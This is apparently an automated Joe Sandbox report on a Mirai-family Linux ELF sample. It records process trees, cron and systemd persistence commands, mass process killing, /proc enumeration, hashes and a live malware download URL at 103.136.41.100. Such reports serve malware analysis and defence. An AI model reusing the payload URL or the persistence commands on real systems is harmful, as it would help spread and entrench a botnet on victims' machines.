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Linux Analysis Report
5.elf

Overview

General Information

Sample name:	5.elf
Analysis ID:	1589452
MD5:	acf8c6201a22aa0c7c0751252ab9ae39
SHA1:	6de61f4a111b08628b671480a7dc59cfbeeaed4b
SHA256:	2310571a157978b46838410517b66b6a45f8ab5c2846fc15ac9c93168ca80dd9
Tags:	elfuser-abuse_ch
Infos:

Detection

Score:	64
Range:	0 - 100
Whitelisted:	false

Signatures

Multi AV Scanner detection for submitted file

Drops files in suspicious directories

Executes the "crontab" command typically for achieving persistence

Sample tries to kill multiple processes (SIGKILL)

Sample tries to persist itself using cron

Enumerates processes within the "proc" file system

Executes commands using a shell command-line interpreter

Executes the "systemctl" command used for controlling the systemd system and service manager

Reads system information from the proc file system

Sample has stripped symbol table

Sample listens on a socket

Sample tries to kill a process (SIGKILL)

Sleeps for long times indicative of sandbox evasion

Uses the "uname" system call to query kernel version information (possible evasion)

Writes shell script file to disk with an unusual file extension

Classification

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1589452
Start date and time:	2025-01-12 15:39:17 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 19s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	5.elf
Detection:	MAL
Classification:	mal64.spre.troj.evad.linELF@0/6@0/0

Warnings

Skipping network analysis since amount of network traffic is too extensive
VT rate limit hit for: http://103.136.41.100/5

Runtime Messages

Command:	/tmp/5.elf
PID:	5831
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	gosh that chinese family at the other table sure ate a lot
Standard Error:

Process Tree

system is lnxubuntu20

5.elf (PID: 5831, Parent: 5755, MD5: 5ebfcae4fe2471fcc5695c2394773ff1) Arguments: /tmp/5.elf

5.elf New Fork (PID: 5842, Parent: 5831)

sh (PID: 5842, Parent: 5831, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "systemctl daemon-reload > /dev/null 2>&1"

sh New Fork (PID: 5848, Parent: 5842)

systemctl (PID: 5848, Parent: 5842, MD5: 4deddfb6741481f68aeac522cc26ff4b) Arguments: systemctl daemon-reload

5.elf New Fork (PID: 5852, Parent: 5831)

sh (PID: 5852, Parent: 5831, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "systemctl start hello.service > /dev/null 2>&1"

sh New Fork (PID: 5857, Parent: 5852)

systemctl (PID: 5857, Parent: 5852, MD5: 4deddfb6741481f68aeac522cc26ff4b) Arguments: systemctl start hello.service

5.elf New Fork (PID: 5858, Parent: 5831)

sh (PID: 5858, Parent: 5831, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "crontab /tmp/crontab.tmp > /dev/null 2>&1"

sh New Fork (PID: 5863, Parent: 5858)

crontab (PID: 5863, Parent: 5858, MD5: 66e521d421ac9b407699061bf21806f5) Arguments: crontab /tmp/crontab.tmp

5.elf New Fork (PID: 5864, Parent: 5831)

sh (PID: 5864, Parent: 5831, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "/etc/init.d/hello > /dev/null 2>&1"

sh New Fork (PID: 5869, Parent: 5864)

5.elf New Fork (PID: 5872, Parent: 5831)

5.elf New Fork (PID: 5874, Parent: 5872)

5.elf New Fork (PID: 5876, Parent: 5874)

5.elf New Fork (PID: 5881, Parent: 5874)

5.elf New Fork (PID: 5883, Parent: 5874)

5.elf New Fork (PID: 5884, Parent: 5874)

5.elf New Fork (PID: 5919, Parent: 5874)

5.elf New Fork (PID: 5921, Parent: 5919)

xfce4-panel New Fork (PID: 5833, Parent: 3235)

wrapper-2.0 (PID: 5833, Parent: 3235, MD5: ac0b8a906f359a8ae102244738682e76) Arguments: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libsystray.so 6 12582920 systray "Notification Area" "Area where notification icons appear"

xfce4-panel New Fork (PID: 5834, Parent: 3235)

wrapper-2.0 (PID: 5834, Parent: 3235, MD5: ac0b8a906f359a8ae102244738682e76) Arguments: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libstatusnotifier.so 7 12582921 statusnotifier "Status Notifier Plugin" "Provides a panel area for status notifier items (application indicators)"

xfce4-panel New Fork (PID: 5835, Parent: 3235)

wrapper-2.0 (PID: 5835, Parent: 3235, MD5: ac0b8a906f359a8ae102244738682e76) Arguments: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libpulseaudio-plugin.so 8 12582922 pulseaudio "PulseAudio Plugin" "Adjust the audio volume of the PulseAudio sound system"

xfce4-panel New Fork (PID: 5836, Parent: 3235)

wrapper-2.0 (PID: 5836, Parent: 3235, MD5: ac0b8a906f359a8ae102244738682e76) Arguments: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libxfce4powermanager.so 9 12582923 power-manager-plugin "Power Manager Plugin" "Display the battery levels of your devices and control the brightness of your display"

xfce4-panel New Fork (PID: 5837, Parent: 3235)

wrapper-2.0 (PID: 5837, Parent: 3235, MD5: ac0b8a906f359a8ae102244738682e76) Arguments: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libnotification-plugin.so 10 12582924 notification-plugin "Notification Plugin" "Notification plugin for the Xfce panel"

xfce4-panel New Fork (PID: 5838, Parent: 3235)

wrapper-2.0 (PID: 5838, Parent: 3235, MD5: ac0b8a906f359a8ae102244738682e76) Arguments: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libactions.so 14 12582925 actions "Action Buttons" "Log out, lock or other system actions"

systemd New Fork (PID: 5850, Parent: 5849)

snapd-env-generator (PID: 5850, Parent: 5849, MD5: 3633b075f40283ec938a2a6a89671b0e) Arguments: /usr/lib/systemd/system-environment-generators/snapd-env-generator

cleanup

Yara Signatures

⊘No yara matches

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: 5.elf	Virustotal: Detection: 36%			Perma Link
Source: 5.elf	ReversingLabs: Detection: 44%

Source: /tmp/5.elf (PID: 5831)

Socket: 127.0.0.1:23476

Jump to behavior

Source: 5.elf	String found in binary or memory: http://%d.%d.%d.%d/%s
Source: 5.elf, 5831.1.00007f1fec036000.00007f1fec03c000.rw-.sdmp, 5.elf, 5872.1.00007f1fec036000.00007f1fec03c000.rw-.sdmp, 5.elf, 5919.1.00007f1fec036000.00007f1fec03c000.rw-.sdmp, 5.elf, 5921.1.00007f1fec036000.00007f1fec03c000.rw-.sdmp	String found in binary or memory: http://1/wget.sh
Source: hello.service.12.dr, hello.12.dr, tmp.hsDAfy.38.dr, crontab.tmp.12.dr	String found in binary or memory: http://103.136.41.100/5
Source: 5.elf, 5831.1.00007f1fec036000.00007f1fec03c000.rw-.sdmp, 5.elf, 5872.1.00007f1fec036000.00007f1fec03c000.rw-.sdmp, 5.elf, 5919.1.00007f1fec036000.00007f1fec03c000.rw-.sdmp, 5.elf, 5921.1.00007f1fec036000.00007f1fec03c000.rw-.sdmp	String found in binary or memory: http://9/curl.sh
Source: 5.elf, 5831.1.00007f1fec036000.00007f1fec03c000.rw-.sdmp, 5.elf, 5872.1.00007f1fec036000.00007f1fec03c000.rw-.sdmp, 5.elf, 5919.1.00007f1fec036000.00007f1fec03c000.rw-.sdmp, 5.elf, 5921.1.00007f1fec036000.00007f1fec03c000.rw-.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: 5.elf, 5831.1.00007f1fec036000.00007f1fec03c000.rw-.sdmp, 5.elf, 5872.1.00007f1fec036000.00007f1fec03c000.rw-.sdmp, 5.elf, 5919.1.00007f1fec036000.00007f1fec03c000.rw-.sdmp, 5.elf, 5921.1.00007f1fec036000.00007f1fec03c000.rw-.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/

System Summary

Sample tries to kill multiple processes (SIGKILL)

Source: /tmp/5.elf (PID: 5831)	SIGKILL sent: pid: 3192, result: successful	Jump to behavior
Source: /tmp/5.elf (PID: 5831)	SIGKILL sent: pid: 3249, result: successful	Jump to behavior
Source: /tmp/5.elf (PID: 5831)	SIGKILL sent: pid: 3250, result: successful	Jump to behavior
Source: /tmp/5.elf (PID: 5831)	SIGKILL sent: pid: 3251, result: successful	Jump to behavior
Source: /tmp/5.elf (PID: 5831)	SIGKILL sent: pid: 3252, result: successful	Jump to behavior
Source: /tmp/5.elf (PID: 5831)	SIGKILL sent: pid: 3253, result: successful	Jump to behavior
Source: /tmp/5.elf (PID: 5831)	SIGKILL sent: pid: 3255, result: successful	Jump to behavior
Source: /tmp/5.elf (PID: 5831)	SIGKILL sent: pid: 3272, result: successful	Jump to behavior
Source: /tmp/5.elf (PID: 5831)	SIGKILL sent: pid: 3274, result: successful	Jump to behavior
Source: /tmp/5.elf (PID: 5831)	SIGKILL sent: pid: 5833, result: successful	Jump to behavior
Source: /tmp/5.elf (PID: 5831)	SIGKILL sent: pid: 5834, result: successful	Jump to behavior
Source: /tmp/5.elf (PID: 5831)	SIGKILL sent: pid: 5835, result: successful	Jump to behavior
Source: /tmp/5.elf (PID: 5831)	SIGKILL sent: pid: 5836, result: successful	Jump to behavior
Source: /tmp/5.elf (PID: 5831)	SIGKILL sent: pid: 5837, result: successful	Jump to behavior
Source: /tmp/5.elf (PID: 5831)	SIGKILL sent: pid: 5838, result: successful	Jump to behavior
Source: /tmp/5.elf (PID: 5921)	SIGKILL sent: pid: 5919, result: successful	Jump to behavior

Source: ELF static info symbol of initial sample

.symtab present: no

Source: /tmp/5.elf (PID: 5831)	SIGKILL sent: pid: 3192, result: successful	Jump to behavior
Source: /tmp/5.elf (PID: 5831)	SIGKILL sent: pid: 3249, result: successful	Jump to behavior
Source: /tmp/5.elf (PID: 5831)	SIGKILL sent: pid: 3250, result: successful	Jump to behavior
Source: /tmp/5.elf (PID: 5831)	SIGKILL sent: pid: 3251, result: successful	Jump to behavior
Source: /tmp/5.elf (PID: 5831)	SIGKILL sent: pid: 3252, result: successful	Jump to behavior
Source: /tmp/5.elf (PID: 5831)	SIGKILL sent: pid: 3253, result: successful	Jump to behavior
Source: /tmp/5.elf (PID: 5831)	SIGKILL sent: pid: 3255, result: successful	Jump to behavior
Source: /tmp/5.elf (PID: 5831)	SIGKILL sent: pid: 3272, result: successful	Jump to behavior
Source: /tmp/5.elf (PID: 5831)	SIGKILL sent: pid: 3274, result: successful	Jump to behavior
Source: /tmp/5.elf (PID: 5831)	SIGKILL sent: pid: 5833, result: successful	Jump to behavior
Source: /tmp/5.elf (PID: 5831)	SIGKILL sent: pid: 5834, result: successful	Jump to behavior
Source: /tmp/5.elf (PID: 5831)	SIGKILL sent: pid: 5835, result: successful	Jump to behavior
Source: /tmp/5.elf (PID: 5831)	SIGKILL sent: pid: 5836, result: successful	Jump to behavior
Source: /tmp/5.elf (PID: 5831)	SIGKILL sent: pid: 5837, result: successful	Jump to behavior
Source: /tmp/5.elf (PID: 5831)	SIGKILL sent: pid: 5838, result: successful	Jump to behavior
Source: /tmp/5.elf (PID: 5921)	SIGKILL sent: pid: 5919, result: successful	Jump to behavior

Source: classification engine

Classification label: mal64.spre.troj.evad.linELF@0/6@0/0

Persistence and Installation Behavior

Executes the "crontab" command typically for achieving persistence

Source: /bin/sh (PID: 5863)

Crontab executable: /usr/bin/crontab -> crontab /tmp/crontab.tmp

Jump to behavior

Sample tries to persist itself using cron

Source: /usr/bin/crontab (PID: 5863)

File: /var/spool/cron/crontabs/tmp.hsDAfy

Jump to behavior

Source: /tmp/5.elf (PID: 5884)	File opened: /proc/4056/cmdline	Jump to behavior
Source: /tmp/5.elf (PID: 5884)	File opened: /proc/4056/cmdline	Jump to behavior
Source: /tmp/5.elf (PID: 5884)	File opened: /proc/4056/cmdline	Jump to behavior
Source: /tmp/5.elf (PID: 5884)	File opened: /proc/4056/cmdline	Jump to behavior
Source: /tmp/5.elf (PID: 5884)	File opened: /proc/3241/cmdline	Jump to behavior
Source: /tmp/5.elf (PID: 5884)	File opened: /proc/3241/cmdline	Jump to behavior
Source: /tmp/5.elf (PID: 5884)	File opened: /proc/3241/cmdline	Jump to behavior
Source: /tmp/5.elf (PID: 5884)	File opened: /proc/3241/cmdline	Jump to behavior
Source: /tmp/5.elf (PID: 5884)	File opened: /proc/3241/cmdline	Jump to behavior
Source: /tmp/5.elf (PID: 5884)	File opened: /proc/3483/cmdline	Jump to behavior
Source: /tmp/5.elf (PID: 5884)	File opened: /proc/3483/cmdline	Jump to behavior
Source: /tmp/5.elf (PID: 5884)	File opened: /proc/3483/cmdline	Jump to behavior
Source: /tmp/5.elf (PID: 5884)	File opened: /proc/3483/cmdline	Jump to behavior
Source: /tmp/5.elf (PID: 5884)	File opened: /proc/5816/cmdline	Jump to behavior
Source: /tmp/5.elf (PID: 5884)	File opened: /proc/5816/cmdline	Jump to behavior
Source: /tmp/5.elf (PID: 5884)	File opened: /proc/5816/cmdline	Jump to behavior
Source: /tmp/5.elf (PID: 5884)	File opened: /proc/5816/cmdline	Jump to behavior
Source: /tmp/5.elf (PID: 5884)	File opened: /proc/1732/cmdline	Jump to behavior
Source: /tmp/5.elf (PID: 5884)	File opened: /proc/1732/cmdline	Jump to behavior
Source: /tmp/5.elf (PID: 5884)	File opened: /proc/1732/cmdline	Jump to behavior
Source: /tmp/5.elf (PID: 5884)	File opened: /proc/1732/cmdline	Jump to behavior
Source: /tmp/5.elf (PID: 5884)	File opened: /proc/1732/cmdline	Jump to behavior
Source: /tmp/5.elf (PID: 5884)	File opened: /proc/1730/cmdline	Jump to behavior
Source: /tmp/5.elf (PID: 5884)	File opened: /proc/1730/cmdline	Jump to behavior
Source: /tmp/5.elf (PID: 5884)	File opened: /proc/1730/cmdline	Jump to behavior
Source: /tmp/5.elf (PID: 5884)	File opened: /proc/1730/cmdline	Jump to behavior
Source: /tmp/5.elf (PID: 5884)	File opened: /proc/1730/cmdline	Jump to behavior
Source: /tmp/5.elf (PID: 5884)	File opened: /proc/1333/cmdline	Jump to behavior
Source: /tmp/5.elf (PID: 5884)	File opened: /proc/1333/cmdline	Jump to behavior
Source: /tmp/5.elf (PID: 5884)	File opened: /proc/1333/cmdline	Jump to behavior
Source: /tmp/5.elf (PID: 5884)	File opened: /proc/1333/cmdline	Jump to behavior
Source: /tmp/5.elf (PID: 5884)	File opened: /proc/1333/cmdline	Jump to behavior
Source: /tmp/5.elf (PID: 5884)	File opened: /proc/1695/cmdline	Jump to behavior
Source: /tmp/5.elf (PID: 5884)	File opened: /proc/1695/cmdline	Jump to behavior
Source: /tmp/5.elf (PID: 5884)	File opened: /proc/1695/cmdline	Jump to behavior
Source: /tmp/5.elf (PID: 5884)	File opened: /proc/1695/cmdline	Jump to behavior
Source: /tmp/5.elf (PID: 5884)	File opened: /proc/1695/cmdline	Jump to behavior
Source: /tmp/5.elf (PID: 5884)	File opened: /proc/3235/cmdline	Jump to behavior
Source: /tmp/5.elf (PID: 5884)	File opened: /proc/3235/cmdline	Jump to behavior
Source: /tmp/5.elf (PID: 5884)	File opened: /proc/3235/cmdline	Jump to behavior
Source: /tmp/5.elf (PID: 5884)	File opened: /proc/3235/cmdline	Jump to behavior
Source: /tmp/5.elf (PID: 5884)	File opened: /proc/3235/cmdline	Jump to behavior
Source: /tmp/5.elf (PID: 5884)	File opened: /proc/3234/cmdline	Jump to behavior
Source: /tmp/5.elf (PID: 5884)	File opened: /proc/3234/cmdline	Jump to behavior
Source: /tmp/5.elf (PID: 5884)	File opened: /proc/3234/cmdline	Jump to behavior
Source: /tmp/5.elf (PID: 5884)	File opened: /proc/3234/cmdline	Jump to behavior
Source: /tmp/5.elf (PID: 5884)	File opened: /proc/3234/cmdline	Jump to behavior
Source: /tmp/5.elf (PID: 5884)	File opened: /proc/1617/cmdline	Jump to behavior
Source: /tmp/5.elf (PID: 5884)	File opened: /proc/1617/cmdline	Jump to behavior
Source: /tmp/5.elf (PID: 5884)	File opened: /proc/1617/cmdline	Jump to behavior
Source: /tmp/5.elf (PID: 5884)	File opened: /proc/1617/cmdline	Jump to behavior
Source: /tmp/5.elf (PID: 5884)	File opened: /proc/1617/cmdline	Jump to behavior
Source: /tmp/5.elf (PID: 5884)	File opened: /proc/1615/cmdline	Jump to behavior
Source: /tmp/5.elf (PID: 5884)	File opened: /proc/1615/cmdline	Jump to behavior
Source: /tmp/5.elf (PID: 5884)	File opened: /proc/1615/cmdline	Jump to behavior
Source: /tmp/5.elf (PID: 5884)	File opened: /proc/1615/cmdline	Jump to behavior
Source: /tmp/5.elf (PID: 5884)	File opened: /proc/1615/cmdline	Jump to behavior
Source: /tmp/5.elf (PID: 5884)	File opened: /proc/917/cmdline	Jump to behavior
Source: /tmp/5.elf (PID: 5884)	File opened: /proc/917/cmdline	Jump to behavior
Source: /tmp/5.elf (PID: 5884)	File opened: /proc/917/cmdline	Jump to behavior
Source: /tmp/5.elf (PID: 5884)	File opened: /proc/917/cmdline	Jump to behavior
Source: /tmp/5.elf (PID: 5884)	File opened: /proc/917/cmdline	Jump to behavior
Source: /tmp/5.elf (PID: 5884)	File opened: /proc/5815/cmdline	Jump to behavior
Source: /tmp/5.elf (PID: 5884)	File opened: /proc/5815/cmdline	Jump to behavior
Source: /tmp/5.elf (PID: 5884)	File opened: /proc/5815/cmdline	Jump to behavior
Source: /tmp/5.elf (PID: 5884)	File opened: /proc/5815/cmdline	Jump to behavior
Source: /tmp/5.elf (PID: 5884)	File opened: /proc/5672/cmdline	Jump to behavior
Source: /tmp/5.elf (PID: 5884)	File opened: /proc/5672/cmdline	Jump to behavior
Source: /tmp/5.elf (PID: 5884)	File opened: /proc/5672/cmdline	Jump to behavior
Source: /tmp/5.elf (PID: 5884)	File opened: /proc/5672/cmdline	Jump to behavior
Source: /tmp/5.elf (PID: 5884)	File opened: /proc/1591/cmdline	Jump to behavior
Source: /tmp/5.elf (PID: 5884)	File opened: /proc/1591/cmdline	Jump to behavior
Source: /tmp/5.elf (PID: 5884)	File opened: /proc/1591/cmdline	Jump to behavior
Source: /tmp/5.elf (PID: 5884)	File opened: /proc/1591/cmdline	Jump to behavior
Source: /tmp/5.elf (PID: 5884)	File opened: /proc/1591/cmdline	Jump to behavior
Source: /tmp/5.elf (PID: 5884)	File opened: /proc/1/cmdline	Jump to behavior
Source: /tmp/5.elf (PID: 5884)	File opened: /proc/1/cmdline	Jump to behavior
Source: /tmp/5.elf (PID: 5884)	File opened: /proc/1/cmdline	Jump to behavior
Source: /tmp/5.elf (PID: 5884)	File opened: /proc/1/cmdline	Jump to behavior
Source: /tmp/5.elf (PID: 5884)	File opened: /proc/1/cmdline	Jump to behavior
Source: /tmp/5.elf (PID: 5884)	File opened: /proc/1623/cmdline	Jump to behavior
Source: /tmp/5.elf (PID: 5884)	File opened: /proc/1623/cmdline	Jump to behavior
Source: /tmp/5.elf (PID: 5884)	File opened: /proc/1623/cmdline	Jump to behavior
Source: /tmp/5.elf (PID: 5884)	File opened: /proc/1623/cmdline	Jump to behavior
Source: /tmp/5.elf (PID: 5884)	File opened: /proc/1623/cmdline	Jump to behavior
Source: /tmp/5.elf (PID: 5884)	File opened: /proc/1588/cmdline	Jump to behavior
Source: /tmp/5.elf (PID: 5884)	File opened: /proc/1588/cmdline	Jump to behavior
Source: /tmp/5.elf (PID: 5884)	File opened: /proc/1588/cmdline	Jump to behavior
Source: /tmp/5.elf (PID: 5884)	File opened: /proc/1588/cmdline	Jump to behavior
Source: /tmp/5.elf (PID: 5884)	File opened: /proc/1588/cmdline	Jump to behavior
Source: /tmp/5.elf (PID: 5884)	File opened: /proc/764/cmdline	Jump to behavior
Source: /tmp/5.elf (PID: 5884)	File opened: /proc/764/cmdline	Jump to behavior
Source: /tmp/5.elf (PID: 5884)	File opened: /proc/764/cmdline	Jump to behavior
Source: /tmp/5.elf (PID: 5884)	File opened: /proc/764/cmdline	Jump to behavior
Source: /tmp/5.elf (PID: 5884)	File opened: /proc/764/cmdline	Jump to behavior
Source: /tmp/5.elf (PID: 5884)	File opened: /proc/3368/cmdline	Jump to behavior
Source: /tmp/5.elf (PID: 5884)	File opened: /proc/3368/cmdline	Jump to behavior
Source: /tmp/5.elf (PID: 5884)	File opened: /proc/3368/cmdline	Jump to behavior
Source: /tmp/5.elf (PID: 5884)	File opened: /proc/3368/cmdline	Jump to behavior
Source: /tmp/5.elf (PID: 5884)	File opened: /proc/3368/cmdline	Jump to behavior
Source: /tmp/5.elf (PID: 5884)	File opened: /proc/1585/cmdline	Jump to behavior
Source: /tmp/5.elf (PID: 5884)	File opened: /proc/1585/cmdline	Jump to behavior
Source: /tmp/5.elf (PID: 5884)	File opened: /proc/1585/cmdline	Jump to behavior
Source: /tmp/5.elf (PID: 5884)	File opened: /proc/1585/cmdline	Jump to behavior
Source: /tmp/5.elf (PID: 5884)	File opened: /proc/1585/cmdline	Jump to behavior

Source: /tmp/5.elf (PID: 5842)	Shell command executed: sh -c "systemctl daemon-reload > /dev/null 2>&1"	Jump to behavior
Source: /tmp/5.elf (PID: 5852)	Shell command executed: sh -c "systemctl start hello.service > /dev/null 2>&1"	Jump to behavior
Source: /tmp/5.elf (PID: 5858)	Shell command executed: sh -c "crontab /tmp/crontab.tmp > /dev/null 2>&1"	Jump to behavior
Source: /tmp/5.elf (PID: 5864)	Shell command executed: sh -c "/etc/init.d/hello > /dev/null 2>&1"	Jump to behavior

Source: /bin/sh (PID: 5848)	Systemctl executable: /usr/bin/systemctl -> systemctl daemon-reload			Jump to behavior
Source: /bin/sh (PID: 5857)	Systemctl executable: /usr/bin/systemctl -> systemctl start hello.service			Jump to behavior

Source: /tmp/5.elf (PID: 5831)

Reads from proc file: /proc/stat

Jump to behavior

Source: /tmp/5.elf (PID: 5831)

Writes shell script file to disk with an unusual file extension: /etc/init.d/hello

Jump to dropped file

Hooking and other Techniques for Hiding and Protection

Drops files in suspicious directories

Source: /tmp/5.elf (PID: 5831)

File: /etc/init.d/hello

Jump to dropped file

Source: /tmp/5.elf (PID: 5921)

Sleeps longer then 60s: 60.0s

Jump to behavior

Source: /tmp/5.elf (PID: 5831)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5833)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5834)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5836)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5837)	Queries kernel information via 'uname':	Jump to behavior

Source: 5.elf, 5831.1.000055b0c2338000.000055b0c2489000.rw-.sdmp, 5.elf, 5872.1.000055b0c2338000.000055b0c2489000.rw-.sdmp, 5.elf, 5919.1.000055b0c2338000.000055b0c2489000.rw-.sdmp, 5.elf, 5921.1.000055b0c2338000.000055b0c2489000.rw-.sdmp	Binary or memory string: U!/etc/qemu-binfmt/arm
Source: 5.elf, 5831.1.00007fffe5b2c000.00007fffe5b4d000.rw-.sdmp, 5.elf, 5872.1.00007fffe5b2c000.00007fffe5b4d000.rw-.sdmp, 5.elf, 5919.1.00007fffe5b2c000.00007fffe5b4d000.rw-.sdmp, 5.elf, 5921.1.00007fffe5b2c000.00007fffe5b4d000.rw-.sdmp	Binary or memory string: x86_64/usr/bin/qemu-arm/tmp/5.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/5.elf
Source: 5.elf, 5831.1.00007fffe5b2c000.00007fffe5b4d000.rw-.sdmp	Binary or memory string: /tmp/qemu-open.2WtFN5
Source: 5.elf, 5831.1.00007fffe5b2c000.00007fffe5b4d000.rw-.sdmp	Binary or memory string: U/tmp/qemu-open.2WtFN5:
Source: 5.elf, 5831.1.000055b0c2338000.000055b0c2489000.rw-.sdmp, 5.elf, 5872.1.000055b0c2338000.000055b0c2489000.rw-.sdmp, 5.elf, 5919.1.000055b0c2338000.000055b0c2489000.rw-.sdmp, 5.elf, 5921.1.000055b0c2338000.000055b0c2489000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/arm
Source: 5.elf, 5831.1.00007fffe5b2c000.00007fffe5b4d000.rw-.sdmp, 5.elf, 5872.1.00007fffe5b2c000.00007fffe5b4d000.rw-.sdmp, 5.elf, 5919.1.00007fffe5b2c000.00007fffe5b4d000.rw-.sdmp, 5.elf, 5921.1.00007fffe5b2c000.00007fffe5b4d000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-arm

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	1 Scheduled Task/Job	1 Systemd Service	1 Systemd Service	1 Masquerading	1 OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	Data Obfuscation	Exfiltration Over Other Network Medium	1 Service Stop
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 Scheduled Task/Job	1 Scheduled Task/Job	1 Virtualization/Sandbox Evasion	LSASS Memory	1 Virtualization/Sandbox Evasion	Remote Desktop Protocol	Data from Removable Media	Junk Data	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	1 Scripting	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	1 System Information Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	Steganography	Automated Exfiltration	Data Encrypted for Impact

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
5.elf	37%	Virustotal		Browse
5.elf	45%	ReversingLabs	Linux.Backdoor.Mirai

Dropped Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label	Link
http://103.136.41.100/5	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

⊘No contacted domains info

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://%d.%d.%d.%d/%s	5.elf	false		high
http://1/wget.sh	5.elf, 5831.1.00007f1fec036000.00007f1fec03c000.rw-.sdmp, 5.elf, 5872.1.00007f1fec036000.00007f1fec03c000.rw-.sdmp, 5.elf, 5919.1.00007f1fec036000.00007f1fec03c000.rw-.sdmp, 5.elf, 5921.1.00007f1fec036000.00007f1fec03c000.rw-.sdmp	false		high
http://103.136.41.100/5	hello.service.12.dr, hello.12.dr, tmp.hsDAfy.38.dr, crontab.tmp.12.dr	false	Avira URL Cloud: malware	unknown
http://schemas.xmlsoap.org/soap/encoding/	5.elf, 5831.1.00007f1fec036000.00007f1fec03c000.rw-.sdmp, 5.elf, 5872.1.00007f1fec036000.00007f1fec03c000.rw-.sdmp, 5.elf, 5919.1.00007f1fec036000.00007f1fec03c000.rw-.sdmp, 5.elf, 5921.1.00007f1fec036000.00007f1fec03c000.rw-.sdmp	false		high
http://9/curl.sh	5.elf, 5831.1.00007f1fec036000.00007f1fec03c000.rw-.sdmp, 5.elf, 5872.1.00007f1fec036000.00007f1fec03c000.rw-.sdmp, 5.elf, 5919.1.00007f1fec036000.00007f1fec03c000.rw-.sdmp, 5.elf, 5921.1.00007f1fec036000.00007f1fec03c000.rw-.sdmp	false		high
http://schemas.xmlsoap.org/soap/envelope/	5.elf, 5831.1.00007f1fec036000.00007f1fec03c000.rw-.sdmp, 5.elf, 5872.1.00007f1fec036000.00007f1fec03c000.rw-.sdmp, 5.elf, 5919.1.00007f1fec036000.00007f1fec03c000.rw-.sdmp, 5.elf, 5921.1.00007f1fec036000.00007f1fec03c000.rw-.sdmp	false		high

World Map of Contacted IPs

⊘No contacted IP infos

Joe Sandbox View / Context

IPs

⊘No context

Domains

⊘No context

ASNs

⊘No context

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
/etc/init.d/hello	5.elf	Get hash	malicious	Unknown	Browse
/etc/init.d/hello	5.elf	Get hash	malicious	Unknown	Browse

Created / dropped Files

/etc/init.d/hello

Download File

Process:	/tmp/5.elf
File Type:	Bourne-Again shell script, ASCII text executable
Category:	dropped
Size (bytes):	612
Entropy (8bit):	4.719671389487418
Encrypted:	false
SSDEEP:	12:i5BpMp5kTMp5Gu+a6OqowXQeCMG259srxylKNVUdURucTyl:ifpMr8MrPd6OqownCMGAsrxy8bp4
